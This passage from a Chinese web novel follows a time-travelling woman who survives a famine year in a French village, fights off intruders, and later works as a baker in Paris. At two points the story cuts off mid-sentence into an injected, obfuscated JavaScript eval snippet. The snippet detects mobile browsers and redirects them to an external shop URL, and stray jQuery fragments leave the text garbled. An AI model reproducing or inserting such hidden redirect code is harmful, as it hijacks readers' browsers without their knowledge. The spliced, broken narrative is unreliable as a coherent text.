“帕塔贡奶奶,我带回来土豆,想今年种土豆。”今年开始,因为火山爆发导致俄国以南没有夏天,作物大面积减产,好容易收成的粮食也因为气候不好无法及时晾晒干而霉变无法食用,全球在两年时间里饿死无数,就是字面意义上的活活饿死。另外,土豆是会招虫害以及特殊细菌而导致减产甚至绝收的,这就是若干年后爱尔兰饿死逃亡一半人口的一半原因——另一半是英格兰地主。
“哦!可怜的孩子!”拿土豆当粮食吃,得有多悲惨啊!他们农民又不可能像有钱人那样加糖加肉加香料,都是烘烤水煮连皮啃,虽然比黑面包软,但连吃三天的话连她这样习惯吃苦的人也受不了。
“总比饿死强。而且我还可以做点手工活换面包和衣服。”苏茜指了指腿上脚上。“之前的袜子鞋子都嫌小了,我就拿了妈妈和祖母留给我钱买了衣服,不然真的要冻死了。”
“总会好的,上帝会保佑你的。”村里人常年的手工活计就是处理羊毛和制作羊毛制品,前者是重活、后者没门槛,还有就是葡萄采摘季节打零工之类。
“谢谢!我先回家了!回头见。”苏茜没有多聊,驴子正不管不顾地向前走,如果拉住了它反而可能又不肯继续走。
村里人大多是比较好的人,也就是不会半夜来偷小寡妇东西的那种好,再多就不可能了,哪怕不少村民都是沾亲带故的。恩,尤其是税收季节,谁也不知道包税人会做出什么事情。她这块地所有的税赋加起来,哦,现在少了一份人丁税,可能需要三个银币还多一点,如果用小面额交还可能被恶心的兑换比例再盘剥一圈。
所以所有家庭都在努力挣钱。谁也不想再来一次起义了,死的人太多。
苏茜不会织毛衣,但原身会织袜筒。听说现在有机器、做的袜子又快又好,不过机器太贵了,人便宜,农夫农妇大孩子们全家一起上,做各种活计,能挣出全年的税还可以多一两件旧衣服。总体上,比几十年前光税收就能让农民倾家荡产的日子好了些,跟几百年前的农奴时代那完全是两回事。
技能总是不够用啊!她叹息着开始切土豆、包裹上熟石灰。
这段时间天气情况有点类似倒春寒,所以苏茜开始,嗯,人力犁地。
用的梨是前段时间她自己做的土豆犁,因为铁匠拒绝按照女人的意思做奇奇怪怪的东西。效果当然与机器有天壤之别,也远不及牛拉犁。但是以土豆的产量和储存条件以及她一个人的食量,真就是随便种种罢了。
淡定地松了小小一块土地,每间隔一捺多一点种下半个土豆。收工。
当地的餐桌让人叹气,不过食材供应倒是相当好,蔬菜品种有二十种,水果也不止葡萄,甚至集市上的果干居然有超过十种。而且,乳酪都是原版非再加工,蜂蜜都是可以存放几年没有任何添加剂,小麦粉就是全麦的,牛奶也没有掺过水。除了面包难吃得无法评论,通心粉只有一种形状,即使这两样食物都能保存很久!
所以岛上的木炭烤炉派上了用场。
苹果发酵液、小麦粉、橄榄油、牛奶、鸡蛋、奶酪、果干、蔬菜、鱼肉,还有不要钱不交税的盐。感谢她的岛,带来了海盐;感谢那么多书,提纯了精盐。因为提前发酵,所以她只花了半个小时就做出来一份营养物质丰富的晚餐,配上玫瑰薰衣草红茶。因为盐和鱼没有花钱,所以这一餐的成本“仅仅”四五个苏,够村里六口之家吃三天的大麦粥黑面包加生洋葱。苏茜可以生吃豆类以外的蔬菜,但拒绝烧烤水果,更不接受吃生肉喝生血。
整整十天时间,两桶大概十九公斤土豆大部分都种下去了。这种土豆体型小,数量多。苏茜试验了古代南美的传统“冻干”方式,用硝石制冷冻几个小时,解冻,再冻上,拍碎,再解冻。有一部分因为操作不当还是发芽了,只能种下去。
这块地打水是个大问题。最近的水源在半法里之外,虽然有驴子,但路上颠簸得能把水桶里的水弄出来一半。驴子的饲料也是个麻烦,要不是她地里还有些牧草,另外也舍得花钱买粮食给驴子吃,这个青黄不接的时节得花钱去跟隔壁村买草料。
苏茜并不需要去那么远的地方打水,岛上的雨水足够那点土豆苗用,但是她必须辛苦打水,不然无法解释如何种的地。包括羊群通过的时候随口啃点的那点叶子,其实对土豆不是太糟糕的事,尤其还有羊粪。
“如果有奶酪就请给我奶酪吧。不要风干的肉。”那真的太可怕了,即使削掉挺厚的一层仍然是霉变的,除了扔海里没有第二个结局。
最后牧羊人们分别给了她加起来都没有两磅的奶酪作为啃食庄稼的补偿。这倒不是欺负人,而是“行价”。因为奶酪比大麦麸皮贵很多。
可那奶酪的味道仍然让苏茜皱眉。这应该放了能有三年了吧?所以她用这奶酪去其他镇子上交换了一袋面粉,纯小麦磨的,没有掺其他的东西包括并不限于沙子。另外还用一个看上去有些年头的银戒指换了不少大麦之类——够她的驴加餐一个月了。
夏季应该是炎热的,但阳光、温度、雨水,都不对劲。
给驴子种的牧草还在顽强生存的时候,土豆可以收了。这种小土豆产量不高,加上气温不对,原来种下的十八公斤多些的土豆,如今收获了不到一百公斤。
“是种子的六倍,也就是五倍的产量。”苏茜对小麦产量大减、考虑也种土豆的朗贝尔道。“羊群吃了不少叶子,当然也有些羊粪。土豆比麦子更能抗风险,就是必须晒干保存在地窖里,不然发青的土豆吃下去会死人的,比发霉的小麦危险多了。如果明后天下雨,我就干脆放在室内烧火烘干。”
“毕竟能填肚子。”老村长柯纳尔的小儿子也来围观。他去年分家出来,虽然土地面积不及苏茜,但是更加靠近水源的且更平坦还没有牲畜群经过。
村子今年日子不算好,可也没有饿死的危险。苏茜知道原因却没法说明。
明年才是最糟糕的年份,大部分庄稼包括葡萄歉收甚至绝收。他们村能活多少人很难说。
“吃不完也能卖给别人做种。”
“小麦没法卖给商人,除了种子,有时候口粮都会被拉走运去巴黎。不过土豆安全多了。”一名老妇人道,她经历过为了保证供应巴黎而饿死农民的饥荒年代……说实话,巴黎之外的农民与巴黎工人的矛盾不是几句话能讲明白的。
苏茜也不知道她的建议是好是坏。“土豆保存不当或是染病麻烦更大。”
“土豆还会染病?”
“我也是听说的,有地方种了不少土豆,结果因为飞鸟的鸟粪带来病,所以全部坏死,导致种地的农民也饿死了。但我还是觉得,种土豆起码还能吃饱一个月吧?如果麦子都无法收获,那一点吃的也没有了。”
无夏之年是真的饿死很多人的,尤其是最底层的佃农,其次是自耕农和城里的乞丐。救济赈灾是不可能的,巴黎都在自己跟自己打、自己跟外国打。不想活活饿死就得自救。
房子的地窖多年没有维修过了,不仅气味感人,还不太稳定。苏茜之前使用石灰、沙子以及一些收藏的火山灰做成水泥,将地窖加固过。还用果皮炭火等烧过一遍。因此现在的地窖虽然与岛上的地下室不能比,可在村里算是好的。
土豆收完,苏茜开始用枝叶、土壤和畜肥做土肥。这玩意几百年不做有些手生,好在这块坡地比岛上的土质好不少,所以土肥的大部分用在她自己的岛上,其他还在原地。这种土很适合用来种菜。村子虽说是山村,但海拔不高,冬季基本没有雪,比岛上温度略低但湿度也低,种的菜大部分能活。
岛上也在种东西,土肥加土壤放在各种材质的种植箱里,种冬小麦和蔬菜水果,还有些苜蓿牧草。这里的土壤不是岛上的,而是混有些河泥的土,品质很好,加上土肥挺充足的,所以菜和麦子长得都挺好。
房子里和自带炉子烧火的木头和炭是买来的。岛上烧烤和做菜炉烧的木头是偷砍的,工作炉烧的煤是存货。地里种的树目前还不到一米,都是她从树苗开始一趟趟搬来种下的。
虽然普通人根本没地方打猎乃至捕鱼,但是一片地方挖几株树苗还是没有问题的,还有种下去的上百果核如今长出来了三株树苗,不过眼下根本看不出是什么果树。
天气渐渐冷了。羊群从山的高处回到低处,吃掉了不少驴子不爱吃的老牧草。这次只得到不到一磅的羊奶酪,依旧是糟糕的味道,只能拿去换面粉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014909|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
若干年前,苏茜曾买了银砖自制各种还算可以的饰品,就是没想过做一批“古代”银币。于是现在的她不得不在不同的时间地点店铺用这些饰品交换纯度做工都不怎么样的银币。要不是这些银币未来也许有机会作为古董溢价卖掉,她真会气死。
这个年代的医疗健康水平和治安情况似乎也没有比七年战争时的强。
但是战利品似乎还不错?
苏茜用的是长剑,即使有些生锈,依然是收割生命的利器,对付三个只有一柄短刀和两根木棍的匪徒,跟玩儿一样。现在是静谧的傍晚,即使有抑制器仍然会有吸引人关注的响动,还是练了大半年的剑更顺。赢了以后,在驴子身形的掩护下用将尸.体扔到岛上垃圾海滩,迅速搜身处理掉,然后继续骑着驴子赶路。
走到家都已经是清晨了。要不是中间给驴喝了两次水,喂了一回牧草土豆胡萝卜加苹果,她的倔驴肯定拒绝这样劳累。就这样,它直到三天后才肯出门去背水。因此苏茜不得不在晚上悄悄用岛上雨水浇菜地。
若非这帮劫匪上一次的“收获”被苏茜一股脑都收了,有两百多法郎和怀表等——听说旧贵族们回来了,新贵族们又跑了,真的是乱成一团。
冬天的清晨很不友好,更不友好的是倒春寒还下雨的凌晨。
苏茜本来准备考虑去城里,所以得凌晨出发才可能在半夜前赶到城中旅店,但这场雨和摄氏七度的气温让她打消了念头。
“……听说皇帝,不,是国王陛下要让更多平民的孩子也上学。”
中午的时候雨才停,因此地面并不太美妙,泥土、水和垃圾脏污遍地都是。中老年男女们穿着木鞋坐在家门口聊天,而年轻一点的以及农民们早就在地里忙乎开。趁着下雨地面变软,他们开始准备春耕或者查看冬小麦的情况。
“我只希望手头这版法郎用的时间久一点,别又换新的,旧的被黑心商人们压价。”
“那你还不如拿去买些面粉囤着。”
“嘿,我要留着那点点钱给儿子办婚礼。”
苏茜确定今年夏季将会湿冷秋季霜雪,即使有收获,也没有阳光晒粮食。
但,即使她说了,大家也只会把她当疯子。虽不至于被烧死或是砍头,但估计好不到哪里去。生气,可没法子。去年收获的土豆,大部分放岛上特别制造的储存地下室,小部分做成原始冻干土豆同样放在地下室。现在她拿出来不到四十公斤似乎还挺好的储存土豆做种子,陆陆续续将坡地大半面积都种满,少部分远离羊群迁徙道路的地方种了点菜和春小麦。连续种一种庄稼不是好的做法,可她去年搞了那么多土肥,想必今年的收成不会太差。
苏茜略微遗憾着,还是找到了几天的空档去了城里。果然,路上需要花近两天时间,主要是驴子速度慢有时还不配合。
城里的店铺当然多,价格却不高。苏茜花了一天半时间,跑得腿脚都疼了才卖掉一批“存货”买来不少镇子上没有的东西,然后又赶回家,还是在河里打了水上山回她的旧房子,看上去就像是一直在家住着,靠吃存粮和黑面包而没有出门。山上不是没有住户,有小半个村子的人住在山上,但她家距离聚居地有上百米且都是泥坡地没有正经道路,因而一旦下雨就是交通不便。
* * *
村里农妇与城里淑女差距极大,光是纤细的腰就不一样,应该是让内脏移位的束身衣的“功效”。人家一件礼服都不需要加上珠宝,村里的妇人干一辈子都挣不出这么多法郎,更不要说皮斯托尔这种真金币。苏茜手头没有测量仪器,只能确定法郎硬币是含金币,无法判断其含金量,更没法精准地私铸出来。她的知识库里没这种知识点。
苏茜买得起礼服,但不想浪费这个钱。古董礼服必须保存得相当好还要讲一个动人的故事才卖得出价钱,不然现在买了以后就是垃圾。包括有年头的珠宝,没有来历故事照样不值钱,还不如她当初参考各种图样、凭兴趣做的风格迥异的足金饰品能卖得上价。
现在和未来的当铺对各种高价却又不是收藏级的首饰完全不买账,只给材料本身的价格,所以五百法郎买来的首饰当出去不会超过一百。有趣的是城里不少体面男女就喜欢做这种高价买入、低价当掉的事,而且还不是卖掉别人给自己买的,是自己买自己当——或许他们觉得牌桌上能把钱赢回来然后去赎回自己的东西。
“……你的腰那么粗,不可能有飞上枝头的命!”一位母亲这样骂自己不肯干农活晒黑弄粗皮肤的十二岁女儿。“今年收成不好,每一粒麦子都是珍贵的,不然我们家里就有可能会饿死人!”
“你不是还种了土豆吗?”
“你不做以后只有水煮土豆吃!别想有面包!”
“家里只有我一个人干活吗?安托死了吗?!”
“……”
“……”
苏茜看看天,放弃了再去打一趟水浇地的打算,绕过那对母女回家。她的史料并不支持具体的月份,而且即使有记载也不能肯定自己所处世界的真实情况——事实上她也不知道今年会不会真的出现火山灰大规模影响欧洲气候的事。四月、五月,就在小麦快要收获的时候,天气越发糟糕。雨水也不是很对劲,可惜苏茜手头没有检测仪器。这个情况一直在持续。太阳基本上没有露过头,夏天一直没有到来,北边地方的夏季甚至结霜导致绝收。南边些的麦子不仅产量大幅下降,还有可能晒不干出现霉变。
苏茜的春小麦还没成熟,但眼看着就是减产的命。不过她在村里建议将收获的带壳麦粒放在炉子的周围烘干,总比眼睁睁看着霉变强些。“今年的天气很不正常,我们不能盼望明后天突然放晴。而且我怀疑冬天会更冷,所以现在去买木头。”
“夏天去买取暖烧的木头?”这女娃是脑子坏了吗?不过想想今年诡异的天气,白天出门有时还要穿外套,大家都回去各自找法子将含有水分的麦粒弄干,本来收成就不好,再这样每天阴雨,发霉了还能吃吗?!
除了木头和木炭,苏茜还去买了面包、酵母、水果、蔬菜、乳制品和看上去还能吃的风干肉类和鱼类。这年头的面包,有的两天就坏了,有的能放两个月。整个地区经常有人吃了发霉的面包拉肚子死亡的。
反正回程的时候大家只看到硬邦邦的大块面包和驴子拉拖车上的木头,苏茜这个主人还是步行回来的,到了山上因为有货物的车子没法过去,她还是一趟趟搬了木头回家的。
“她的木头应该是自己砍的吧?我看到车上好像有斧子……”村里人才不信穷成这样的小寡妇能有钱买那么多木头。
“嘘,我知道哪里去砍。”
全村都偷着砍树回来烘干麦粒。起码的,不会全部发霉而饿死人,甚至还能期待一下秋季能收点土豆填肚子。
苏茜本人则在打毛衣。
岛上是有些闷热的阴雨天,所以她干脆在石屋窗边手工织羊毛半身长裙。她至今不会织毛衣,但筒裙还是可以试试的,不就是放大的袜子吗?可惜失败了三次才找到正确的方法,弄出一条怪丑的裙子。披肩和毯子都是织机织出来的,很粗糙,能扛摄氏十度但挡不住零下。所以苏茜用土豆跟粮食收成不佳的一户牧羊人换来两大块处理过的羊皮,打算自己做个羊皮斗篷里面毛毯加披肩保暖吗、外面羊皮挡风,腿上筒裙里长袜外面再加腿套,用挂绳系在腰间类似吊带,实在是自己一时不知道如何织毛裤。
两双靴子都是花了“大价钱”买的牛皮靴,不过她是不会在村里穿惹人疑惑的,包括城里买的格子绒头巾和带菱纹的绒长斗篷——问题是她没有买好点的裙子,导致斗篷下的裙角不对劲。因此她考虑在绒斗篷下弄一圈羊毛“边”,最后只露出一双靴子,不然她都无法出门伪装成一个中等阶层的女性。
小炉上的土豆煮软烂了,她换上烧水小锅,然后用勺子将去皮土豆弄成泥,加入奶酪、胡萝卜、小浆果以及其他手头的蔬菜再蒸一下,当个健康晚餐。上辈子收藏的不锈钢削皮器还能用嘿嘿!吃完洗洗就睡。哦,这没有卫生纸、只有亚麻布和干苔藓的年月……
21.国王亦凡人(二)
“苏茜,你的土豆能换给我一些吗?”
“没问题。不过我只有六磅可以拿出来了。你们两位平分吧!多给我些木头就行了。”
“啊,木头!是的,没问题……唉,大家都这么快手快脚啊!”
“其实很多人都种了土豆的,就是不像我这么多。”
自从她跟一位村民用一磅小麦粉换了四磅土豆,其他人在意识到粮食问题的时候都在抢着换土豆,交换的东西从食物到衣物到燃料。顺便说一句,这里的磅也是各有千秋,甚至附近两个村都有可能有区别,干脆三倍五倍这样计数更好用一些。
等土豆换完,苏茜原地蹦跶着接过木头,关上门,堵上窗。表示本人暂时装死避寒。
前几天本地罕见地下雪了。最顽皮的孩子都不会出门玩雪,因为他们没有足够的衣服御寒。全家人缩在一起,将毯子叠起来盖,同时将木头都存着。现在还没到最冷的时候呢!
苏茜将所有家当都转移走,然后大部分时间都在岛上生活。
土豆收货后,地里的其他菜在低温下死了一半。倒有一种牧草还在顽强生存,所以她的驴子就吃那个和一些耐储存的食物过活。
农人们不死心,还是种下了冬小麦。
苏茜在将死去的庄稼作绿肥后也种了点,但她估计这批冬小麦的收获可能跟去年也差不多。
冬天到了。
有一户保存不当的人家有袋麦子发霉了,还有几户的土豆发青了。
“我给驴子吃。希望它不会病死。”苏茜用一个苏买下那些发霉的麦子。“土豆发青是有毒的,人吃多了会死,所以要不试试种在屋檐底下或是靠近炉子的地方,哪怕长些草也能喂牲口。”
“苏茜,你的土豆没问题吗?”
“对,那时我是放在炉子边,几个小时翻动一次,最后看上去都干了才放地窖。你不是换了些吗?”
“是的是的,放到现在都还是好好的。”
苏茜出门披挂着一身简单拼接没有剪裁的羊皮,皮子下是换来的旧毛毯和自己织的羊毛筒裙,脚上的靴子偏大,整体就像个乞丐。
“……什么呀,听说普鲁士那边的冬天,大家都是把干草绑在身上出门的。但是那样太过分了,我还是多披一层。”
今天白天算是温度略高,摄氏四度,比本地平时最冷的凌晨温度还要低。大家都裹着毯子出门,而且通常一家只出来一两个劳动力,找活干或找东西吃或偷砍树或捞鱼的。至于其他家人,为了节省食物都躺在草堆里呢。
苏茜则过几天才出一次门,打水,买黑面包和蔬菜,或是“找”几根木头,表示她还活着、还在村子里生活,不准进入她的房子“拿”东西。
事实上,要不是地窖入口被她封了、里面也空无一物,早就有不止一个人将她的存粮偷走——大家还没有无耻到问她“新地窖”在哪,不过可能有人打算在她的地里挖挖看。现在除了杂物间窝着过冬的驴子,她在明面上没有任何值得偷的。至于驴子,本地没有吃驴肉的习惯,偷了还要浪费自家牲畜的草料,因此总体是安全的。
但也要防止有人真的饿了来打劫什么的,因为大家都知道她家只有一个“弱小”的女人和“不少”土豆。只是,除非有大车来拉,不然费力气打劫,没啥钱财也带不走太多土豆,还可能被抓住打死——村民们最爱抓外来偷盗的人,可以合法合理地将对方身上包括衣服全搜走,要知道农民的财产是包括衣服的。
早上傍晚的温度就开始达到零下,绿植几乎全枯死,小树倒还活着、只是没剩几片树叶。估计有些葡萄藤也会受影响。
苏茜移开加固过的门闩,外面一片白。
下雪了——估计是本地百年罕见的景象。苏茜嗅着冷冽的空气,再看看脚上的靴子,给驴子加了点餐和岛上雨水后就重新关上门,还检查了下窗子,才退回岛上。
最近她在修炼和练武之余,开始探索海带林顺便训练潜水,只有一身棉衣。岛上的冬天不算多暖和,可也没有外面的低温。泳镜和潜水装备压根就没收藏,而海水会刺激眼睛,加上呼吸管是会进水的,最后苏茜潜入海里纯靠勇气。好在她用不锈钢鱼叉划拉过海带林去掉危险因素,手里的短刀也非常可靠,因此割下不少海带增加蔬菜的摄入。
在本地买的半旧小船和渔网,居然比她收藏的不锈钢折叠船和钢丝网还管用,打半天渔收获的蛋白质能让自己过几天,加上海边的收获以及大量囤积的面粉、乳制品、葡萄干、坚果和牛肉干,以及能收集到的香料、劣质酸酒、晒干的蔬菜,生存情况还是不错的,至少比战场上好得多,唯一的遗憾就是这辈子可能吃不到米饭。
如果能一直保持这种生活状态也不错呢!
苏茜心情不错地在阁楼出现,准备例行检查、封住炉子后再回去睡觉。没想到正在捣鼓炉子的时候,听到外间房间的窗户上有动静。
房子的窗户不算小,但比较高,在她头顶位置。降温后她就用木头堵窗但没封死,因此推开是件很容易的事,起码比加了铁的门闩好对付,只要外面的人个子高或是踩在凳子上就行。
现在是晚上不到十点,村里人为了节省灯油早就睡下了——没人用昂贵的蜡烛。苏茜摸出长剑和短刀。炉膛里的火提供了一点点亮光,对她来说足够了,尤其是外面的人居然还伸进来一支火把。
好消息是来的人眼生,坏消息是外面还有人。苏茜迅速换上新靴子,扯下长裙,在长袜外面套了条男式长裤,上衣也是翻出来还勉强能穿的现代棉衣。甚至将上下阁楼的梯子也提过来。
窗口的人居然还没跳下来,真慢!
苏茜打了个呵欠,在那人折腾半天,将火把留给窗外同伴后爬下窗。落地的声音很轻,对方穿得也不多。苏茜快速用短刀砍断他脖子上的气管部位,三十秒后将尸.体扔进岛上。地面上的血迹不是特别多。她从梯子上慢慢爬近窗户,耐心等待火把后的人靠近。对方用气音叫了两声,没得到回复居然就不动了。
苏茜的耐心逐渐告罄。她心里排练了几种方案,在对方犹犹豫豫将火把再伸进来些的时候突然出手夺走火把,然后递出长剑。
外面有惨叫声,不太响亮。
苏茜以最快速度爬出窗,一手短刀一手长剑,直接从窗洞跳到面部受伤的人胸口,然后短刀扔出去砍在第三个人的背上。最后一人补一剑,扔进岛,翻土掩埋血迹,再原路返还,将室内也处理一遍,再用火把烧一下,而火把也扔海里了事。
三个外村人,但是其中一个她在村里见过,似乎是谁的远亲。她一边努力回想对方的亲戚是谁家,一边利索地收拾。
可惜战利品只有两柄匕.首和十来个旧版苏,少得可怜!
想起来了,入冬不久村里一位不到五十的“老太太”过世,她的娘家亲戚硬是留下来白吃白喝两天才被亲属赶走。认真考虑过后,苏茜很高兴自己不需要“连坐”同村人。
在毫无生机的圣诞新年之后,气温似乎回暖了些,但并没有多大改善。苏茜同样种了些土豆,同时四处找林子捡拾枯枝烂叶做土肥,同样是一半自己地里,一半岛上种植箱中。
冬小麦的情况很不好,既是如此苏茜仍然种了点春小麦和各种容易成长的菜。同时,小树又长高了些,今年冬天可以砍了。
黑面包价格涨了五倍,面粉价格涨了三倍多,还经常断供!
苏茜买了件没人认得出来的棕色长外套,包着同色头巾,跑去城里好几家店,分别买到一年的粮食,包括但不限于面粉、面包、奶酪和通心粉。通心粉真心好用,能放置大半年味道不变糟,除了比长棍面包还要贵之外没有半点缺点。如果加上作为调料的葡萄酒、橄榄油和多种大罐装的酱料,以及“便宜”蔬菜水果之类以及并不多的肉干茶叶等等,她一年得吃掉港城一个能放浴缸的卫生间的价格,这还只是在盐与海鲜免费前提下的基础食材支出!
但愿,一年以后情况会好点吧!
可她记得恶劣气候持续了三年?
城外小旅店里,苏茜放弃了有不少蚤虫的肮脏被褥枕头,回岛上认真研究通史。可惜,通史资料到用的时候总是找不到确切的记录。就当至少一年的灾害天气来考虑吧!
苏茜就这样怏怏地回到村里。
然后,站在一片狼藉的地里,面对门户大开的房子,还有“很抱歉”的村长。
还有一群看热闹的村民。
“苏茜,你这个小蹄子既然那么耐不住地找男人,我知道一个挣钱的好路子……”一个平时最爱挑事的村妇跑过来,恶意满满地笑着还打算摸一下她的胸口。
然后不出意外的,她,以及两个同样打算动手动脚的青年农民被苏茜揍成猪头,连武.器都懒得用。其中一个农民的母亲看见儿子的惨状尖叫着冲上来,同样给“均衡”地扇了两巴掌打成胖脸。
“我还没用细剑呢!”苏茜回以更加恶意的笑容,从驴子身上的长口袋里抽出一柄刚买来才三天的细剑,锋锐的剑尖让打算“主持公道”的村长连连后退。这剑的份量太轻砍不了脑袋,但得尊重本地现实不是。
“你一个贱.妇也敢打男人?!”另一名农民冲上来。
被苏茜一脚踹翻并且削掉半块耳朵,“鼻子要不要割下来给你的情夫下酒?我说的是情夫,不是情妇。”
造谣,谁不会啊!她指着边上一个开骂的农妇直接说她跟闺蜜搞到一起还不敢让丈夫知道,指着另外的男女说他们有婚姻之外的关系,其他人则是偷盗邻居家的东西还栽赃别人。所有骂她的人都被她冠以各种罪过。
连村长都受不了那么多的刺激,暗戳戳研究哪些“传言”是真的。最后“抱不平”的村民不得不撤退,因为他们大多不想面对邻居家一边同情一边恶意揣测的眼神。
苏茜承认,这次去城里,她用垃圾的价格买到一批“历史”批评册子,结果仔细一看差点被造黄谣、画黄图的作者们给恶心到吐出来——后世媒体见照片编故事的本事竟然还不如两百年前的绅士淑女们。另外,她还看到大量的“罪状”,都是那些被砍头的人犯下的罪行——全部是造谣污蔑,包括一名妇女被砍头是因为被“揭发”与八岁的儿子那啥于是被砍头,简直完美重现几个顽皮小孩作证是女巫、对方就被活活烧死的那种荒谬……气不过,实在生气!
苏茜冲去村里用剑逼问了三个村民,最后知道造谣她偷人,“号召”大家扒了她的土地房子的居然是个前年刚嫁进来的小媳妇、今年甚至都不满十八!
犹豫了半分钟,她冲去那家门口,大声编了一个自己撞见小媳妇偷人却被倒打一耙的故事,而且有鼻子有眼,将小媳妇和她情人讲的话甚至姿势都讲得活灵活现,然后嘲笑这家的男人不行。
村民们顿时忘记自己从昨晚到现在都没吃上几口食物,热烈地议论起这个八卦,仿佛这样就能忘记饥饿。
而苏茜则是转身带着“仅有”的驴子离开这个已经面目全非的饥饿的山村,因为再过下去她真的会被村民污蔑在土地里下毒而烧死。她本来想破坏掉土地和房子的,但出于环保的考虑还是算了。去镇上将这块地押给放高利贷就行了,相信他们会“认真”对待自己的财产。
* * *
村子向西向北就是巴黎。苏茜开过这段路,可惜那时是公路和高速,加上租来的车子性能挺好又不是度假堵车的时间点,所以自己好像也就开了大半天?
但是这个时代的路况,车,不,驴子的情况,能在半个月内到达吗?另外,考虑到糟心的卫生、安全条件,有的时候她得连夜赶路好找合适的宿头,有的时候不得不在还算过得去的旅店里等到第二天才上路。再加上每到一个地方,当地人对方位路程的估算——还有度量衡问题——差别挺大,因此苏茜差点跑去了布鲁塞尔!这种折返都要花三天的经历实在太讨厌了。
再加上,她突然想起来查史书,结果发现不仅是无夏之年的事情,几十年内巴黎还会有好几次她不是很熟悉的动荡。
这倒霉城市到底是因为什么而被认为很浪漫的,乱搞的“习俗”吗?到处都是的低级中级高级特级女伎们?五法郎一个的水果小蛋挞?倒是一开始由小店主一起建起来的拱廊挺新颖的,完全满足城市平民和中等阶层向贵族阶层靠拢的梦想。
换上平民偏上阶层的服装——没有可怕的束身衣,这一点她坚持——之后,苏茜在带顶商业街区里得到了不错的待遇。
在离开村子足足三个月后,苏茜凭借巧克力奶酪坚果面包和自制发酵液,在巴黎市区不太昂贵的商业街区找到一份面包师的工作。
“每一种发酵液都好吃!”店主夫妇自身很少吃甜得发腻的食物,但对香软面包完全没有抵抗力。他们和苏茜一起研究了各地物产制作的发酵原料,只加面粉品尝口感后,就将店里大半产品都换上使用成本高昂但成品价格更高的酵种,老酵母面包纯粹就是保留一个酵种以及三个生丁一块的“平民”面包。
在全国物资保证巴黎的情况下,巴黎的面包价格比农村产粮地镇子上的面包还便宜。
“妈妈,我都要!”小女孩穿着漂亮的小裙子,瞪着柜台上足足十二种,现在已经卖得只剩下七种的挞眼睛都直了。
“好的……给我每样四个。”其实年轻的母亲也眼睛发直。谁不爱甜美漂亮的小点心呢?她家里还有俩呢!
“女士,这款只剩下三个了。”
“那这种呢?”
“还有六个。”
“那我都要了。”
这家店位置在平民与富人区之间,地段、装修不上不下,还没有精致的堂食,自然卖不出五法郎的价格,但五生丁以下的东西只有两种,各色挞因为做工用料和粮食的价格,都是二十五生丁起步。
苏茜说是面包师,更多时间在甜点试验上。而且她喜欢将想到的任何一种做法发挥到极致,往往一试验就是六款甚至十二款,保证每季度都能推出三五款反响不错的新品。
店里生意变好了不少,一些有钱人都会特意让女仆来买,苏茜现在的工资完全支付得起附近每月五十法郎含盥洗室、小炉子、壁炉和木头但不包括三餐的套间房租。市区的房租与郊区完全是两回事,同样价格在周边可以租一栋小房子了。而她的那块地连房子也就卖了不到两千法郎,能做一身参加社交舞会的礼服配饰和银首饰。
苏茜决定等这笔法郎都用完就离开这糟心的国家。
她现在的收入全部砸在吃和住上面了。
为了甜点达人的人设,她花了很多时间用自己囤积的材料练手,甚至还买了两个本地风格的大小炉子放在岛上,光练手时用掉的木炭就超过房租,终于在存粮用完的时候将自己的手艺练上去了。
“对,两种通心粉,各两袋。”这片区域的好处是到处都有公寓一楼店铺,东西不算高级但价格还行,比如进口通心粉还有煤这类小地方少见、大城市常见的商品比镇子上卖的更实惠,英国产的棉布和毛呢最近因为贸易谈判的关系也更便宜。
被巴黎口音折腾得不轻的苏茜听到这个地名,就想起了牛津附近河水淌过的小镇上那些百年石建筑——与这个时代臭烘烘的泰晤士河完全是两回事,不过也因为水源不错,这时应该被纺织业污染得不像话。
至于澳洲和美洲,生存情况应该更糟。至于欧洲其他国家,先不提语言水平问题,那边贵族领主还在,小国林立且更注重血统,她这个平民过去纯属送菜。
跟时不时就要打起来的巴黎城和乱七八糟的南部农村
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019307|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
相比,她觉得还是英国小镇比较适合生存。但到底什么时候去呢?年轻的时候,还是年纪大一些、赶在巷战之前?
早上,来上班的她望着被查封的几家店面——其中一间是自家的——目瞪口呆。
她家老板夫妇都是很平和、情商很高的人,即使在面对地痞和醉汉的时候也能应对得当,除了有一把新式英国进口的手木仓,没有任何可以被针对的地方。
“听说他们攻击教会掌权,为那位阁下的死亡鸣不平。”同样在店门口呆站的店员满脸麻木。
“老板会被放出来吗?”隔壁店的店员急死了。没有工资怎么生活啊?!
“不知道。”她说的是自己家的老板,其实隔壁家的老板也是同样的悲催境遇。
“苏茜!怎么办?楼上老板家也被封了!”
“……我不知道。”苏茜脸上失去了表情。最近大家确实在表达对黑袍教士们一堆清规戒律的不满,因为他们这些店家多多少少都是用甜蜜的爱情之类不太正经的噱头做生意的。还有,老板曾经为拿破仑陛下打过仗,还对教会不感冒……就是可惜了老板娘。幸好他们没有孩子。
一个月后,这些店面仍然没有开门。店员们大多已经去寻其他出路了。
苏茜等了三个月,老板家的房子也依旧封着,更不要说店面。
本来还以为乱局要几十年后,其实远不是如此。
她不想再浪费时间。
再见,倒霉的巴黎。
……
去英国并不难,只要给的是金币,什么都可以谈。
